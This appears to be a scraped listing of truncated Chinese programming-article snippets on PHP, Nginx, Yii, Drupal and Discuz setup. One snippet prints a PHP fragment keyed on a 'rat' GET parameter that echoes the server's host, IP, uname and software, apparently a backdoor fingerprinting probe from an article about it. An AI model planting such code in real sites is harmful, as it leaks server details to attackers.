Time of Update: 2016-08-08
首先在function.php中定義一個函數://關鍵字描紅function keywords_red($string,$keywords=''){ if(empty($keywords)||empty($string)) return $string; return
Time of Update: 2016-08-08
php Fatal error: Maximum execution time of 30 seconds exceeded in 問題的解決方案:轉載自:www.alixixi.com/program/a/2011110575885.shtml這個錯誤是說你的php執行時間越過了設定檔中設定的最大執行時間30秒鐘,這不是你的程式本身存在的問題,而
Time of Update: 2016-08-08
PS:Nginx/LVS/HAProxy是目前使用最廣泛的三種負載平衡軟體,本人都在多重專案中實施過,參考了一些資料,結合自己的一些使用經驗,總結一下。一般對負載平衡的使用是隨著網站規模的提升根據不同的階段來使用不同的技術。具體的應用需求還得具體分析,如果是中小型的Web應用,比如日PV小於1000萬,用Nginx就完全可以了;如果機器不少,可以用DNS輪詢,LVS所耗費的機器還是比較多的;大型網站或重要的服務,且伺服器比較多時,可以考慮用LVS。一種是通過硬體來進行進行,常見的硬體有比較昂貴的
Time of Update: 2016-08-08
安裝Nginx的方式有很多種,這裡我們還是編譯原始碼進行安裝,使用下列命令:如果安裝過程中出現一下錯誤:則需要先安裝PCRE:安裝完成後,Nginx安裝目錄在 / usr / local / nginx 。接下來修改nginx的設定檔(/usr/local/nginx/conf/nginx.conf),使其能夠處理PHP指令碼:最後,啟動Nginx時,需要先啟動PHP-FPM。對於Nginx的重啟以及關閉操作,可以使用以下命令:而PHP-FPM則比較麻煩點,需要先使用ps -ef | grep
Time of Update: 2016-08-08
Yii架構自動產生的Web應用骨架的目錄裡面有連個腳步檔案,yiic和yiic.bat。yiic是Unix/Linux平台用的,yiic.bat是windows平台用的。如果要查看指令碼的協助可以進入到腳步所在的根目錄,然後執行yiic help,他會列出所有可用的命令,裡麵包括Yii提供的系統命令和使用者自訂的命令。如果要知道如何執行一個命令可以執行以下命令:1yiic help如果要執行一個命令,可以使用如下格式:1yiic
Time of Update: 2016-08-08
PHP#資料Excel匯出的一些策略匯出其實在任何類型的後端系統都比較常見,正規情況下excel匯出的資料應該更多的用來做備份、底稿,理想情況下針對業務資料的任何業務操作都不應該依靠從後端業務系統匯出資料然後人工進行幹涉處理,但現實很骨感。。。資料匯出這類的功能在有條件的情況下是須要封裝起來的,只有一個資料出口,在後續的商務規則調整變更時會真正的體現出它的價值。當一個典型的應用系統出現了五花八門的資料匯出需求,說明這個應用系統的業務分析做的不夠好或者很差,當使用者只想用應用系統匯出
Time of Update: 2016-08-08
ActiveReocrd 模式這種模式最大的特別就是簡化了CURD 的操作,並且採用對象化的操作方式,便於使用和理解。//添加一條資料$user = M('User');$user->user = '火影忍者';$user->email = 'huoyin@qq.com';$user->date = date('Y-m-d H:i:s');$user->add();//結合create$user = M('User');$user->create();$user->date = date('Y-
Time of Update: 2016-08-08
安裝好httpd、mariadb和php,啟動httpd和mariadb,建立一個UTF-8字元集的資料庫。在Drupal官網下載Drupal core和Drupal translations這2個檔案:drupal-7.34.tar.gz、drupal-7.34.zh-hans.po。tar xzvf drupal-7.34.tar.gzcd drupal-7.34拷貝所有檔案到web目錄,包括2個隱藏檔案。cp -R * /var/www/htmlcp .gitignore
Time of Update: 2016-08-08
去nginx官網下載相應的版本下載地址:http://nginx.org/download/nginx-1.6.2.zip下載完成解壓放到你喜歡的目錄下;樓主的放到了F:\nginx進入windows的cmd視窗,輸入如下所示的命令:C:\Users\YiXian>F:F:\>cd nginxstart nginx.exe啟動成功後可以在windows任務管理中心看到nginx.exe的進程已經啟動了接下來就可以在瀏覽器中輸入127.0.0.1斷行符號可以看到Welcome to
Time of Update: 2016-08-08
Install uwsgi and nginx.If you want uwsgi support python,you must install "uwsgi-plugin-python"sudo apt-get updatesudo apt-get install uwsgi uwsgi-plugin-python nginxFirst,We create a simple python script named "index.py" in directry
Time of Update: 2016-08-08
常說的頁面靜態化分為兩種,一種是偽靜態,即url 重寫,一種是真靜態化。我們以真靜態化為主來講講。什麼是PHP靜態化PHP靜態化的簡單理解就是使網站產生頁面以靜態HTML的形式展現在訪客面前,PHP靜態化分純靜態化和偽靜態化,兩者的區別在於PHP產生靜態頁面的處理機制不同。為什麼要讓網頁靜態化 一、加快頁面開啟瀏覽速度,靜態頁面無需串連資料庫開啟速度較動態網頁面有明顯提高; 二、有利於搜尋引擎最佳化SEO,Baidu、Google都會優先收錄靜態頁面,不僅被收錄的快還收錄的全;
Time of Update: 2016-08-08
Array( [0] => Array ( [shi] => 市轄區 [qu] => 曹子裡 [url] => s120100 ) [1] => Array ( [shi] => 市轄區 [qu] => 楊村 [url] => s120100 ) [2] => Array (
Time of Update: 2016-08-08
nginx (http://nginx.org/) 是由俄羅斯人Igor Sysoev開發的一種Web伺服器。它可以用來做HTTP伺服器, 也可以用來做Proxy 伺服器。輕量、 高速的運行是其最顯著的特徵。nginx是近年來使用者數量高速增長的Web伺服器程式。 在Web伺服器市場份額中, 僅次於Apache、 IIS(Internet Information Server), 排在第三位, 約佔10%的份額。 目前, 越來越多規模相對較大的Web服務應用也正在採用nginx作為主伺服器,
Time of Update: 2016-08-08
原文地址:http://hello1010.com/bind-wechat/二維條碼/二維碼(2-dimensional bar
Time of Update: 2016-08-08
如何在兩層伺服器的第二層Nginx上擷取使用者IP一.之前在做nginx的伺服器配置的時候遇到了一個問題,在之前伺服器有用到一個限制用戶端最大並發串連的功能,而且這個功能的實現是依靠在伺服器中做$remote-addr這樣的配置來達到的。但在增加了前端一層(負載、CDN、防火牆、安全服務)伺服器之後,拿到的用戶端IP就都變成了前端伺服器的IP,而並非真是的使用者IP地址。二.這樣的問題下,我又重新看了幾次nginx官網的介紹,也發現其中另外一個特別重要的變數$proxy_add_x_forwar
Time of Update: 2016-08-08
今天打算練習redis操作,在命令列下運行發現串連暢通無阻。後來用apache運行,發現串連不了redis用戶端(redis server went
Time of Update: 2016-08-08
0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo
Time of Update: 2016-08-08
方法一:$arrn=array();$arr=range(1,20);//指定的數組$arri=array_rand($arr,6);//隨機產生6個$arr數組元素的下標foreach($arri as $k=>$v){ $arrn[$k]=$arr[$v];}print_r($arrn);//輸出方法二:$arrn=array();$arr=range(1,20);//指定數組$len=count($arr);//指定數組的長度$count=6;//待產生數組的長度for($i=0;$
Time of Update: 2016-08-08
搗鼓了幾天discuz的緩衝,弄出了些頭緒,效率真低,2333333~~~~discuz可以使用多種緩衝,這裡只說資料緩衝。discuz支援redis、memcache等緩衝方式,只要在/config/config_global.php裡設定一下,並且環境支援就可以使用了。其實讀寫緩衝還是比較簡單的,代碼如下:require_once libfile('function/cache'); //載入緩衝類savecache($cachename, $data);
Time of Update: 2016-08-08
不久前,在調用論壇回帖內容時遇到了 smilies 表情圖片為 {:4_267:} ,下面說說解決方式。在服務端時用正則將論壇(以Discuz7.2為例)文章內容中的 smilies 圖格式化成圖片標籤格式,然後在標籤上附加上屬性,以便於在視圖中使用JS處理。當然,這個可以自己去最佳化一下,這裡起初是為了實現正常顯示圖片的目的。foreach($postList as $key=>$val){$message = preg_replace('/.*?(\s|(